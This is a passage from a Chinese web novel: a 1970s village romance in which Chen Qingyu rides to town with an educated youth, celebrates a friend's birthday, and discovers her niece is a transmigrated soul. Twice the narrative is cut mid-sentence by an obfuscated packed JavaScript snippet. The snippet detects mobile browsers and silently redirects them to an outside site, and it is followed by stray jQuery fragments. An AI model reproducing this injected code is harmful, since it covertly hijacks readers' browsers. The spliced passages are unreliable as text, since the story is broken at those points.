“对了,别喝酒啊,你一个女孩子我和你爸又都不在。下午要是太晚就别回来了,去你三哥三嫂家住一晚。上次我去,你三嫂还念叨你呢。” 李月絮絮叨叨说了一堆。 托三嫂的福,陈青鱼也有几样简单的化妆品。对着镜子薄薄涂了一层口红,背上斜挎包自我美美的欣赏了好一会儿,才念念不舍的出门了。 走到村口望着前方通向外面的蜿蜒道路,她就后悔了,嘴角耷拉了下来。还没出门呢,想回家了。 好友知道她家在乡下也不知道提前来接一下她,好气。 哼,还说挑生日礼物。陈青鱼决定了,听妈的话买点水果得了,剩的钱正好进她兜里,嘻嘻。姓闻的要是敢生气,以后就绝交!!! 陈青鱼想着想着,洋洋得意的笑容染上眉角。笑了没两秒,又焉儿巴了。 八九点的太阳升到了群山顶部,光线刺的她眼睛疼,磨磨蹭蹭不肯往前走一步。 不然还是回去找老爸吧? 刚生出这念头,身后响起一道清冽的男声。 “陈青鱼同志?” 陈青鱼茫然转身,只见有过两面之缘的郁知青骑着自行车稳稳停在面前。青年逆着光而来,刺眼光线在俊秀脸庞描出清晰轮廓。 “是你啊,郁知青。” 看在那两颗巧克力的份儿上,她乐意给个灿烂笑容。 郁行扫过她漂亮如画卷的脸颊,微风吹起嫩黄裙摆。裙摆下掠纤细白皙的一截小腿,脚上穿着凉鞋,圆乎乎的脚趾头在不安分的一动一动着。 他倏地撇开目光:“你这是要出去?” 陈青鱼瞬间福至心灵,眼睛亮晶晶的:“对啊,去给我朋友过生日。郁知青你是要去城里嘛?” “嗯。家里寄来了一些东西,我去拿。” 郁行主动提出:“陈青鱼同志,你若是不介意的话,我可以载你一趟。日头晒起来了,走在路上热。” 陈青鱼心间刚酝酿出的小苗苗,就这么轻巧的被对方说了出来。她面露一丝惊讶,“郁知青,你没骗我吧?” 要不是去县城给好友庆生这事,只在家里说过,她都要怀疑是不是这人提前知晓来这里堵她来了。 “我认真的。” 郁行善意的提建议:“陈青鱼同志,你担心被村民看到影响不好,我们可以往前走一段路。等出了村子视线,你再上车。” 说完似是觉得有些冒昧,歉意笑笑:“抱歉,我没别的意思。还是要看你的决定。” 这话倒是让陈青鱼不好意思了,走到自行车后座旁:“没事,郁知青,那就谢谢你啦。” 她对坐异性自行车后座没啥感觉和抵触,上学那会儿时不时坐,早就习惯了。 陈远放和李月不是没想过给闺女买辆自行车,每天上下学就她一个,队上也没一路的小伙伴。春秋季节还好,夏冬天气恶劣,实在不放心闺女慢吞吞的在路上。 奈何那年暑假,陈青鱼学骑自行车,短短两天就摔的浑身青一块紫一块的。 就死活不肯学了,说打死她都学不会。 当爸妈的能怎么样,看闺女受伤也心疼,还不是依着她。最后还是陈老三和媳妇儿一商量,让陈青鱼住小两口家里了。 陈老三两口子有自己的新房,离学校还挺近的。 “陈青鱼同志,你坐稳些,路不太平坦。” 郁行的声音从前方传来,陈青鱼说了声‘好’,继续盯着他劲瘦的腰肢看。在心里嘀咕:一个大男人的腰,咋那么细呢。 由于离得近,还能闻到衣服上淡淡的皂香。 这一幕落入带着孙子来河边洗衣服的卢秀眼中,还以为是眼睛花了看错人了,揉揉眼人没变。 “阳阳,你看那是你姑姑吧?” 卢秀是陈远放的弟媳,几十年前就分家了。但亲兄弟关系在这儿,两大家子人经常走动着。 阳阳点头:“是姑姑。”小孩子童言无忌,天真的问:“奶,前面那是姑父吗?” 卢秀一巴掌拍孙子后脑勺上:“瞎说啥。青鱼这丫头前些时候好像是在相亲,但没听说成了啊。有空我得去问问哥和嫂子,这究竟咋回事。” 那头。 陈青鱼闲得无聊,随口问起老生常谈的问题:“郁知青,你是哪里人啊?” “海市。” “喔,我知道海市,课本上有。海市好像是沿海的,你看过海吗?海是什么样子的啊?” “是沿海城市。我看过海。 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“你家里那么有钱,为什么你还会来下乡啊?”她满心好奇的说,“托关系找份工作不就得了。看你这样子,也不像是找不到工作的人呀?” 在陈青鱼的世界里,就没有用钱搞不定的人或事。 郁行望着坎坷不平的前路,眼前有一瞬的恍惚。沉默良久后,他轻声说:“遇到一些麻烦,索性顺了那些人的意下乡了。这里很好,没有那些烦心事。” 郁行像个有问必答的机器人,问什么答什么。声音平稳淡定,却意外的有些催眠。 感觉戳中了郁知青的伤心事,陈青鱼抬手拍拍他的背,张嘴就哄道:“哎呀,郁知青,你别太难过了,旧的不去新的不来。你既然来我们大队了,就别想以前那些烦心事了。” “相信自己,你一个人也能把日子过得很好的。” 猝不及防的小手落在背上,郁行手一抖,差点没握住车柄。自行车头歪歪扭扭,他立马压下凌乱的心思,双手握紧了车柄。 陈青鱼被吓得第一时间抱住了前面人,嘴里害怕的呼唤:“啊啊啊,你不要摔了我,赶快稳住啊。” 郁行骑不下去了,僵直着身体双脚踩至地面,低头看着放在腰腹间的白嫩小手,深呼吸一口气。 “陈青鱼同志,可以松手了。怪我没看清路,车轮压到了一块石头,没吓到你吧?” 陈青鱼松手跳下车,实话实说:“吓到了。我是要去参加朋友生日的,万一你把我摔了我这一身就脏了。” “抱歉。” 自行车是陈青鱼自己要坐的,她还是讲道理的,没把意外怪在郁行身上。 “那你还载我吗?郁知青。”她关心的只有这个。 郁行神情认真:“做事哪有半途而废的。上来吧,这次我会小心些的。陈青鱼同志。” 自行车再次启程,半小时的路程自行车十分钟左右就到了。郁行骑的慢,这会儿前方也能看到县城的建筑了。 陈青鱼每回听着他喊‘陈青鱼同志’就别扭,好像进了什么风纪严肃的组织般,“郁知青,你直接喊我名字吧。反正你以后会在大队待着,我们就是朋友啦。怎么样?” 郁行唇角微微勾起:“好,陈青鱼。你也唤我名字吧。” 陈青鱼卡壳了一秒,光记得他姓郁了,具体叫啥来着。不想了,等回家问爸吧。好心人应该不会跟她计较这么多的吧。 望天望地望风景,今天天气真好呐。 刚到县城门口,自行车就被一个年轻男生拦住了去路。 郁行不悦停下,黑眸冷冷看过去:“我不认识你,让开。” 男生忽视对方的质问,径直走到自行车后座前,跟变脸似的扬眉一笑,“阿鱼!” 11. 11 “闻云生,你怎么在这儿?” 陈青鱼惊讶又喜悦的从后座下来,身体下意识的朝着更熟悉一些的闻云生那边靠去。语气透着随意和熟络。 面前这人正是今天生日的主角,二十岁生日。两人从初中起就是同学,还恰好在同一个班,交情自是比旁人好很多。 “当然是来接你啊。一大早我起来就直打喷嚏,阿鱼,你是不是又偷偷在背后骂我了?” 闻云生不忘为自己辩解一句:“阿鱼,我本来是想让家里的车去林山接你的,但我爸厂子里临时出了点事,车子没法用了。我就想骑自行车去,又被一堆事缠着脱不了身。” “阿鱼,你没生气吧?”他小心翼翼的询问,并递出手里的纸袋子。 是陈青鱼爱吃的蛋烘糕。 出门前刚做好,闻云生用来赔罪的。 陈青鱼鼻尖嗅了嗅,闻到了熟悉的甜香。她轻哼着接过,偏过头说:“看在苏姨的份儿上,我就不跟你计较了。” “好,阿鱼你不生气就好。我们走吧,大家都陆续到了,等着我们呢。”闻云生仿佛这才注意到在场的另一人,“阿鱼,这位是?我好像以前没见过。” 经他一说,陈青鱼想起郁知青来。转头看过去,发觉郁知青脸色不大好,出于新朋友的关心。 “郁知青,你怎么了?” 听到没变化的‘郁知青’这称呼,郁行敛下眼中情绪,掩唇轻咳了一声,嗓音发轻:“我没事。既然有人来接你了,你就先去忙吧,我等下去吃点东西就好了。” 没看闻云生一眼,推着自行车就要离开。 背影怪可怜的。 这一刹那,陈青鱼突然就想起了他叫什么名字。 “郁行。”她喊出名字,跑着追上去,把蛋烘糕分了一半给他,“谢谢你送我来县城。这蛋烘糕你先吃着垫垫肚子吧,我们先走了。” 待两人走出一段距离,陈青鱼漫不经心的吃着香喷喷的蛋烘糕。 一旁的闻云生脑子浮现出各种可能,迫不及待的开口问道:“阿鱼,那人是谁啊?是你新认识的朋友吗?” “感觉他不像表面那样简单,你们什么时候认识的啊?你可别骗那些诡计多端的男人骗了啊,越是长得好看的男人,骗女孩子的花样越多……” 问题一个接一个,说的话更是愈发离谱。 陈青鱼无语:“闻云生,你说什么呢。郁行是月初下乡的知青,人挺好的,他才不是你说的那种人。以前怎么没发觉你还有背地里说人坏话的臭毛病啊。” 闻云生莫名看郁行不顺眼,偏偏阿鱼还把他带来的蛋烘糕分给了对方。 一个认识一个月不到的男知青…… 从认识阿鱼的第一天起,他就知道阿鱼很受欢迎,无论男女。桌上经常会出现夹杂着小纸条的吃食,就连一向只喜欢成绩优异的好学生的老师们都很喜欢阿鱼。 闻云生庆幸初一开学,和阿鱼当同桌的是自己。又经过初高中四年的执着和努力,才终于成为阿鱼口中的好朋友之一。 能是成为‘之一’,他就十分满足了。 “阿鱼,我错了。我不该在背后议论他人,但我也是关心你嘛。我就怕对方又是个心怀不轨的。”闻云生委屈巴巴的低头,像只被骂不听话的大狗狗。 “高一那年,我们一没留神就让那谁接近你了……” 陈青鱼不高兴的瞪他:“你再说!这都过去多久了啊,你们老是爱提这件事。我都说了我没有被骗,大部分是那谁胡编乱造出来的,你们是不是笨啊,信那些鬼话信到现在。” 闻云生不吭声了。 耳边太清静了,陈青鱼反倒有些不习惯了。想着今天好歹是闻云生的生日,“诶,你想要什么生日礼物啊?天气太热了这些天我都没怎么来县城。” “不要礼物。阿鱼,你今天能来我就很高兴了。” 闻云生生得俊俏高大,麦色肌肤,手臂线条鼓起,体型瞧着要比郁行壮实一些,健硕但不是胖。不像读书人,实际上他成绩也不行。 他爸妈原本都计划好了,等儿子混个初中毕业证就不勉强他继续读书了,要么送他去部队当兵,要么跟着闻父在厂子里干活。 没料到初中毕业,闻云生主动说要去念高中。 闻父闻母不止一次从儿子口中听说‘阿鱼’这个明显是女孩子的称呼,见儿子喜欢就没过多阻止。 “记得你喜欢吃桃子,去给你买点桃子吧。”陈青鱼说。 买完桃子,闻云生就一把抢着拎了。 知道儿子今天邀请了朋友们来家里,闻家父母给孩子们准备好了一堆吃的,就笑着出去了。把地方腾给这群跳脱的小年轻。 “阿鱼,你可算来了,我们几个干瞪眼等着无聊死了。好久没看到你,我快想死你了。” “都怪闻云生,我们都以为他安排好了。这小子尽不干人事。” “就是。要不是我载不动人,我早就去接阿鱼了。看把阿鱼热的,来喝果汁。” “……” 一进闻家的大院,原本坐着闲聊的众人纷纷起身冲到陈青鱼面前,七嘴八舌的打着招呼。 跑在最前面、嘴里欢呼着的女生宛如一头猛牛,撞进陈青鱼怀里,撞得她直踉跄退步。 还好闻云生及时出手抵在她背后,避免了往后倒摔跤的不幸。见两人站稳后,他义正言辞的批评:“还好意思说我,你们能不能稳重点!阿鱼这小身板经得住你这一撞吗?” 连曦心虚的松开好友:“阿鱼,我没撞疼你吧?” 陈青鱼摇头浅笑:“没有。”看到一堆熟悉的面孔,调侃道:“你们来的好早啊,我该不会是最后一个到的吧?” “嗨,他们就是闲得没事干,跑我家里使劲的造吃的。简直就是一群饕餮,我出门前桌上摆的吃食就换一批新的了。” 闻云生嘴上说着嫌弃的话,进屋后看到瓜子花生啥的快空盘了,双手诚实的从柜子拿出新的放在桌上。早上现买的五斤橘子,这会儿也空小半袋了。 “可劲儿吃吧你们,管够。得亏我有先见之明,提前让苏姨买了一堆回来。” 没见着闻家父母和苏姨,陈青鱼问:“闻云生,你家里人呢?” “叔叔阿姨出去了,说不打扰我们玩儿。”连曦听到问话,顺口就说了。 “云生他爸妈人真好,还让我们玩的尽兴。我爸妈要是有这么开明,我做梦都要笑醒了。”边上的萧尧望天感叹不已,余光瞥见他藏着掖着的网兜。 趁闻好兄弟转身不注意,利索抢了过来。嗓音兴奋的像山上的野猴:“唷,是桃子啊。云生,你咋知道我想吃桃子了,瞧着水灵灵的,肯定很甜。” 闻云生脸一黑:…… 想打死萧尧的心,不是一天两天了。今天更盛。 “桃子还我,你们不能吃。这是阿鱼买给我的!你想吃桃子自己滚去买,我出钱好吧。” 好兄弟间的争斗,顷刻间成了瞩目的焦点。 连曦高一那年就看明白闻云生的心思了,对于要抢她小姐妹的男生时常起小摩擦。现在乐呵呵的起哄:“闻云生,你也太小气了吧,这么多桃子你一个人能吃完啊。宁愿放坏都不让我们吃,啧啧啧。” “他不是小气,他是想吃独食。” 没说过话的阮轻香一脸平静的说着大实话。 闻云生笑不出来一点了,这群人一如既往的喜欢看他的乐子。气人,要不是怕吓到阿鱼,今天哪会邀请这些个祸害害来! 这群人到底知不知道,今天是他的二十岁生日,他闻云生是面子最大的寿星!一个个的半点不给他面子,说句话能把他气翻天。 纵使闻云生心思再多,也玩不过一群人,认命妥协了。 “吃吧,你们想吃就吃吧。” “好嘞,云生你就等着啃桃子吧。”得了准话的萧尧拎着网兜熟络的蹿进厨房,放水洗桃子。 陈青鱼有些不理解几人的对话,不就一些桃子嘛,至于这般怼来怼去的?但连曦和阮轻香跟闻云生不太对付,这事她是知晓的。以前总是逮着就互相阴阳怪气,闹得不大不小。 私下分别问过两方,得到的回答非常统一:没有矛盾,我们就是闲得斗嘴。 久而久之,陈青鱼不插手身边好友们‘友好’的交流了。反正打不起来,就不是大事。 连曦拽着老神在在的阮轻香,一屁股将像护食狗子一直守在阿鱼身边的闻云生挤开了,两人轻松占据了陈青鱼一左一右的位置。 “阿鱼,你来县城工作吧。你不在我和阮轻香一起就只能干瞪眼,你是不知道,自从她家里给她找了个县城图书馆的工作,就跟老鼠进了粮仓般可怕了。” “感觉萧尧会是我们几个最早结婚的。我都看到萧尧相好几次亲了,每个女孩子都不错,配他可惜了。” 连曦对着阿鱼哭唧唧的诉苦,一段话踩一个人,一通下来就只有她自己是好人了。 洗桃子的萧尧突然探出脑袋,大声反驳:“连曦!什么叫配我可惜了,哼,相亲又不是我愿意去的。我才不想结婚,跟他们说好多回了硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765759|174579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不听,想方设法的拉我去见女孩。” 说起这个他就心烦意乱,“诶,你们家里都没催?” 众人很有默契的齐刷刷望向陈青鱼。 “你们看我干嘛?我爸妈当然是随我啦。”陈青鱼无所谓的说,“不过我也经历两次相亲了,没看上。我爸妈说慢慢挑,有合适的就见一面。” 后半句一出来,闻云生脸上的笑容都没了。 这关乎人生大事,连曦和萧尧也不嘻嘻哈哈的闹了。双双对闻云生投去可怜的目光,惨,太惨了。阿鱼宁愿去相亲,也想不起来身边还有个闻云生。 连曦替人询问:“阿鱼,你相亲咋都不和我们说啊?是哪儿的人啊?县城里的话,说不定我们还认识呢。” 陈青鱼不想说太多:“是县城的,我就是去见一面。没成就没必要告诉你们了啊。” 这时,旁边幽幽飘来一句话。 “青鱼,你相亲要是成了,某人能哭出一条河来。” 是萧尧在说话,语气贱兮兮的。 说完就收到了一记恶狠狠的眼神杀。 怕把厨房炸了,几人决定去国营饭店吃午饭。吃顿好的,给寿星庆生。下午一群人跟街溜子似的,满大街乱蹿,个个额头冒汗也乐得自在满足。 下午,热闹渐渐散去。 阮轻香只请了上午的假,中午午饭结束就离开了。萧尧纯粹是不想工作,连曦怕自己不在闻云生趁机使小聪明。 四人愣是熬到了陈青鱼提出离开。 她晚上是要回家的,准备回去前去看眼三哥三嫂家的两孩子。好像也有快两个月没见了。 闻云生哪能让喜欢的女孩盯着大太阳回家,自告奋勇的说要送她。得知她还要去趟她三哥家,吭哧吭哧骑上自行车就出发了。他记得阿鱼三哥家的地址,还来过好些次。 这会儿上小学的老大韦智敏应该放学了。 许是来得早不如来得巧,还没到小学门口就远远看到了背着小书包出来的小侄女。脑袋上扎着两个小揪揪,随着走路一晃一晃的。 “敏敏。” 韦智敏回头,撒丫子跑了上来,眼睛弯成了两道月牙儿:“小姑姑,真的是你!敏敏好想好想你的。” 小女孩大概是随了她爸,八岁了抱着还是轻飘飘的,没什么重量。个子也要比同龄人矮一些。 陈青鱼捏捏她的脸蛋:“小姑姑也想敏敏,这不是来看你了嘛。” 韦智敏小四岁的弟弟陈图南在托儿所,夫妻俩平日忙,没空带孩子。顺便去接了陈图南一起回家。 陈青鱼把给三哥三嫂买的水果放在桌上,洗了一些给两孩子吃,又陪姐弟俩玩了半小时。在敏敏和图南依依不舍的告别中,还是离开了。 下回有空再来看三哥三嫂。 下楼后,陈青鱼从背后递出一颗泛着水汽的桃子:“喏,给你的。上午买的那桃子被他们哄抢完了,看你没吃到几个。本来是给你买的,早知道我就买其他东西了。” 闻云生眼眶酸酸的,接过桃子轻轻握在手心,低声呢喃:“阿鱼,你怎么这么好啊。让我哪还舍得放开。” 末了这句说的极轻,陈青鱼都没听清楚他说的啥。 “啊?你说什么?” 闻云生还没想好要怎样向阿鱼表达心意,怕被她察觉到什么连忙说:“没啥。阿鱼上车吧,我送你回家。” 桃子被他小心揣进了随身背着的军绿色挎包里。 一路飞奔加速,抖得陈青鱼屁股都麻木了,总算是到村口了。全程十分钟不到。 闻云生在村口老树下停下,抬手随意擦掉额头汗水:“阿鱼,我就送你到这里了。”两手空空哪好意思去见阿鱼的爸妈,要是留下不好的印象就糟糕了。 陈青鱼很想揉揉麻了的屁股瓣,碍于他在场忍住了。 她嘴角扯出一个笑:“云生,谢了啊。你回去路上慢点。” 看着阿鱼令人心动的红润润小脸,闻云生欲言又止,冲动几番跃上喉间,最后还是什么都没说。 “那我先走了,阿鱼。” 闻云生骑上自行车,好似一阵风嗖的一下蹿远了。 陈青鱼还说坐在树下石块上休息一会儿,刚坐下飞快站起来了。石块被晒的发烫,隔着布料那滚滚热意都不减一分。 臀部发麻,她只好慢吞吞的往家的方向走。 闻云生骑车技术太差了!!就知道使蛮劲儿拼命蹬脚踏,还好意思说人家郁行坏话呢,上午都不见她难受一下的。 郁行是大好人呐。 12. 12 陈家院子空无一人,陈青鱼一路回来也没碰到什么人。到家整个人松懈了下来,要不是满身是汗她都想回屋躺下了。 在堂屋歇息好,她提了桶晒在院子里的水,痛痛快快的洗了个温水澡。整个人清爽许多,白日在外奔波的疲倦在这一刻格外清晰,揪着床头的兔子玩偶不知不觉间就睡着了。 兔子玩偶有很多个年头了,是李月为了哄小阿鱼睡觉一针一线缝的。里面塞的,是李月省吃俭用省下来最绵软的棉花。 十多年过去,小兔子没有损坏,仅是灰色外表褪白了些许。 木窗外,夕阳西下。 院墙外高大茂盛的树木遮挡了这间屋子白日大部分的光线,树影斑驳,在地面上投射出昏昏暗暗的影子。 余温滚烫,缓缓流淌的溪水是温热的,浇在腿上带不来一丝凉意。 陈花花和陈灵儿走在大人后面,来到溪边清洗身上泥土。 几米外,卢秀眼尖的找到了嫂子,霸道的挤开周围人凑到李月跟前去。 “嫂子!”一巴掌拍她嫂子臂膀上。 打招呼的方式就是这般朴实无华。 专心洗腿上黄泥巴的李月吓了一跳,差点栽水里去。抬头看是卢秀,不客气的一巴掌拍回去。 “干啥?你要吓死我啊。” 卢秀疼的龇牙咧嘴,“一把年纪了,还是一点亏都不肯吃。疼死老娘了。” “活该。”李月白她一眼,“有事说事,我马上洗好要回去了。也不知道我闺女回来了没,不放心一下午了。” 卢秀做贼似的望了圈旁边人,压低音量说:“嫂子,阿鱼去相亲成事了?这好事你咋都不说一声。” 李月一秒变脸:“你哪听来的?” 旁边的张慧也张大了嘴,一脸茫然。 卢秀一看这对婆媳的反应就懂了,合着是自己猜错了。但还是一五一十说了上午看到的那一幕。 “那是谁啊?还特意来队上接阿鱼。阿鱼招人喜欢不假,但就怕有些男的突然起坏心思,孤男寡女的,又都是年轻人,嫂子,你懂我的意思吧?有空啊你还是跟阿鱼说说,让她和男的保持些距离。” 阿鱼是个好孩子,队上年轻小伙子爱慕她的不少。就好在身后有个当大队长的爹,护犊子的娘,那些个牛鬼蛇神的才没胆子上门招惹。 李月和卢秀当了几十年的妯娌,没分家相处的融洽。知晓她是真的关系孩子,也不是到处说闲话的性子。 “弟妹,这事我不知道。阿鱼没跟我说过,我倒是知道她念书那会儿在县城有几个好朋友。今天就是去县城给朋友过生日的。” “谢了你的提醒,我这就回去问清楚。” 躲背后竖起耳朵偷听的陈灵儿大惊,同陈花花说悄悄话:“听这话的意思,小姑姑谈恋爱了?不能吧,没听小姑姑说过啊。” 陈灵儿是不相信陈青鱼谈恋爱的。她自认为是很宅的,没想着陈青鱼更胜一筹,除了去上课几乎和偶尔下午去地里送水,基本上就在家里待着了。 陈花花对这话题有些羞耻:“灵儿,这是小姑姑的事情。我们还是不要在背后议论的好。有奶在,小姑姑不会有事的。” 刚说完,李月就冲两姐妹喊:“花花灵儿,回去了。” —— 一番仔细盘问后,在得知骑自行车的青年是队上的那郁知青,李月打心眼里松了口气。 不是她对城里知青有多信任,而是从老伴口中听到过好些正面的评价,加上郁知青还帮了陈家的两个孩子。李月对郁行这个年轻人,勉强称得上喜欢了。 知青有偷奸耍滑的,也有勤恳认真的。 新来的这几个知青,那名声可是两极分化严重。好的好,坏的坏。 “闺女,你啥时候和郁知青认识了?”李月还是多嘴问了一句。 今天没怎么花钱,陈青鱼没好意思昧下这钱。把剩的钱推回去,“一个大队的,这样那样就认识了呗。妈,你想多了,郁知青去县城是有正事的,人家就是纯好心载我一趟。” 又陆续从布包里掏出闻云生给她硬揣的各种零嘴,说是给她侄子侄女们的。还夹杂着半包大白兔奶糖和一罐水果糖。 去三哥家一时没想起来,刚掏钱顺手全倒出来了。 “妈,这些你拿出去分给他们。”说着剥了一颗奶香的大白兔塞李月嘴里。 李月抿着奶糖,不赞同的说:“你自己出去分。就得让他们知道这是你带回来的,省得有人在背后说闲话。” 陈青鱼是被喊醒的,还赖在床上困困的打着哈欠,“妈,我不想动。” “赶紧起来,再睡晚上你还睡不睡了。”李月扒拉了几下那堆零嘴,东西还不少,“阿鱼,这些你别傻傻的一股脑全拿出去了,留着点自己吃。你朋友送你的,就该你吃。” 陈青鱼中午吃得很饱,又对这些早吃惯了,勾不起多少食欲。敷衍的嗯嗯两声,“妈,你也拿些回去啊,和爸一起吃。” 李月哪还能馋闺女的吃食,摆手就要起来出去。 陈青鱼都不用想就知道老妈会说什么,提前打住:“妈,那你想吃了就来我屋里拿。我东西放哪儿你也知道的。” 腰有点酸,出去哄小跃跃给她捶背。 她懒得挨个分,花生瓜子用袋子兜着放堂屋桌上,“你们要吃自己拿啊,别吃完了,给我爸和大哥二哥留点。” 这会儿有空闲的只有陈花花陈灵儿两姐妹,刘招娣不知道跑哪儿去了还没回来,张慧在厨房。 陈家男人们也都还没回来。 没奶发话,没人敢去碰小姑姑放的零嘴。 陈花花去厨房帮大伯母打下手,陈灵儿没忍住摸了几颗瓜子嗑嗑。 白味瓜子,吃着很是清香。 陈青鱼没见着陈跃,转头看到陈灵儿狗狗祟祟的在鸡圈旁好似一个偷鸡贼,出声唤她:“陈灵儿。” 陈灵儿飞快吐掉瓜子壳,抹了下嘴回头:“小姑姑,喊我干嘛?” “你在干嘛?”陈青鱼怀疑的看了眼在吃草的老母鸡。 饿疯了?对着老母鸡都能咂吧咂吧嘴了? 家里养有两只下蛋的母鸡,每周总有一两天会有道菜是鸡蛋炒菜或鸡蛋汤。可不能让陈灵儿给嚯嚯了。 “我,我在看鸡。”陈灵儿果断道。 陈青鱼:…… 你要不看看你在说什么。 摸出两颗大白兔,“想吃吗?” “想。” 犹豫一秒都是对七十年代的不尊重。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765760|174579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈灵儿表里淡定,瘦黄的脸上没有一丝不好意思。网上那句话说对了:过几天苦日子,就彻底老实了。 她现在的状态:老实巴交,苟住。 甜食,好遥远的食物。穿来那么久了,吃的唯一甜食就是醒来的那两碗糖水鸡蛋。 刚开始几顿饭她还有些吃不下去,红薯吃一口噎一下,噗噗放屁。逐渐熟悉村子后,才发现陈家的生活条件比大部分家庭都要好了。 “那你就别天天盯着家里老母鸡看了。哪天鸡不下蛋了,你就等着挨骂吧。” 陈青鱼开玩笑的说。 陈灵儿:“谢谢小姑姑,我不盯了。嘿嘿。”看着两颗糖,她又问:“小姑姑,这糖是我一个人有还是大家都有啊?” “吃吧,大家都有。我朋友给的,够大家分了。” “哇,小姑姑你朋友真实在。男的还是女的啊?” 陈灵儿爱吃瓜,爱八卦,前世娱乐圈的大瓜第二天有早八也要熬大夜给吃透彻。这不嘴一瓢就问了出口。 陈青鱼瞅着她发亮的眼睛,有种不详的预感。按了按酸疼的后腰,冷酷道:“别问。再问大白兔还我。” 每个月最烦这几天了,身上哪儿哪儿都不舒服。 有眼力见的陈灵儿展示自己:“小姑姑,你腰疼啊?我现在没事干,给你捏捏捶捶呀。” 两人一前一后回了屋。 “小姑姑,你躺床上吧,方便些。”陈灵儿一边说,一边观察屋内陈设。 陈家人并非区别对待,陈青鱼和小辈们屋里家具相差不大。陈青鱼衣服多,柜子就大些。 她爱美,也爱把屋子装扮的漂漂亮亮的。空气中仿佛都飘散着香香的味道。 仔细看了这屋子,陈灵儿感觉自己的住处好像狗屋…… 陈青鱼戳着小兔子玩偶,嘀咕着:“烦死了,凭什么男的就不来这玩意儿!要痛就一起痛,就该让大家都体会一下。” 当男的咋啥事没有啊,老天一点都不公平。 正在捶腰的陈灵儿一惊,及时停手,“小姑姑,你是要来例假了吗?” 陈青鱼听说过这词,也知道说的是什么。有气无力的说:“嗯,快了。你别停呀,快捶捶,我难受死了。” 陈灵儿面色为难,找了个借口解释:“小姑姑,我听说快来例假和来例假时不能猛捶后腰的。这样会流更多的经血。” 算了,她不是演戏的料。这理由也太难找了吧,她人设就是一没见过世面、只读过小学的小村姑,能从哪儿听说这么多。 又不是顺风耳,哈哈。 陈灵儿被自己逗笑了。 做不到看着错误继续下去,陈青鱼这个小姑姑人挺好的,每天看着大美人还蛮下饭的。 陈青鱼察觉出对方有些破罐子破摔的念头,翻身坐起来盯着她看。其实在思考,要不要问侄女的魂儿去哪里了。 和女主陈灵儿对上,不夸张的说,她目前的胜算是百分百。 陈灵儿被盯的头皮发麻,好似被这双漂亮的眼眸看穿了底子。好歹是新社会了,应该不会把她拉去烧死吧? 不知道自首能不能减轻惩罚…… “小姑姑,我有件事要跟你坦白。” “你不是陈灵儿。” 13. 13 陈青鱼和陈灵儿几乎是同时说话。 话音刚落,两人便目瞪口呆的看着对方,完全没预料到说的会是这个。也算是另一种程度上的殊途同归了。 陈青鱼眼神复杂,第六感告诉她,陈灵儿要坦白的这件事就是她的来历。这与小说里的剧情截然不同,那书上可没说陈灵儿会向陈家人道出真相。 这是不是意味着现实是现实,小说是小说,二者虽有相似之处,但未来发展不会按着小说走? “我想知道一件事,我侄女去哪儿了?” 陈灵儿决定坦白那一会儿,头脑加速运转中,短短几分钟脑子里闪过自己的无数个结局,有好的,有坏的。 但坦白对象的一句话,震得她瞬间脑袋一片空白了。 我嘞个去,还以为适应‘陈灵儿’这个身份适应的很好呢,没想到早就被别人看出来了。 陈青鱼随后问的话,反倒让她内心安定些许。 “很抱歉,我来的时候你侄女已经没了。我不是故意要占据她身体的。”陈灵儿神情格外认真的解释,“我不是这里的人,来这里前我也死了,不知道怎么回事一睁眼我就到你侄女身体里了。” 她迟疑了一下:“其实我来的那天晚上见了你侄女最后一面。我问她想回来吗,她说她有些累了,也回不来了。” “我说的是实话,你愿意相信就信,不信就算了。”陈灵儿小声补充。 在这之前,她也不信鬼神之说,要有跟她说穿越、见到灵魂状态的死人这种事,打死她都不会相信。 至于原身的愿望,陈灵儿没有说。如果陈家人愿意接受她成为新的家人,这会是她努力的方向;相反,若是陈家人不能接受她,她也会尽可能的替原身实现心愿。 陈灵儿说的话大致和小说里的一样,陈青鱼没说信,也没说不信。 “你接下来是怎样想的?”侄女的死是意外,怪自己没能救起侄女,也怪不到‘陈灵儿’这个外来者身上。 没有‘陈灵儿’的到来,这具身体已经入土了。恰好是她的到来,也能说是另一种生命的延续。 “我想和你们成为家人。”陈灵儿大着胆子请求,“我知道她才是你们真正的家人。她不会想看到姐姐和真正关心她的家人伤心难过的,我愿意成为她活下去。小姑姑,我是自私的,不想离开这个家。” 陈青鱼胸口闷闷的,眼前浮现出侄女腼腆胆怯的笑容,一时半会儿无言以对。而面前陈灵儿,眼神不再怯弱闪避,瘦小的脸颊上更是多了几分笑容。 连说话语气,都上扬了一丝语调。 陈灵儿整个人都在朝着好的方向生长,但陈青鱼无比清楚:她不是自己从小看着长大的那个侄女了。 陈灵儿忐忑不安的问:“小姑姑,家里是只有你知道我不是,还是大家都知道了啊?还有小姑姑,你是怎么发现的啊?” 当然是因为我脑子里多了一本书啊。 这话陈青鱼傻了才会说出来,这是她的底牌。 “家里人我不清楚,应该不知道。我会发现是因为我比他们闲,陈灵儿,我不是瞎子聋子。你平时说话很容易说些我听不太懂的东西,你该庆幸你没和你奶、你三叔有过多接触。” “你暴露是迟早的事。” 陈灵儿尴尬挠挠头:“我习惯那样了,一时间改不过来。”二十一年的生活习惯,哪能是一周半月能改变的。 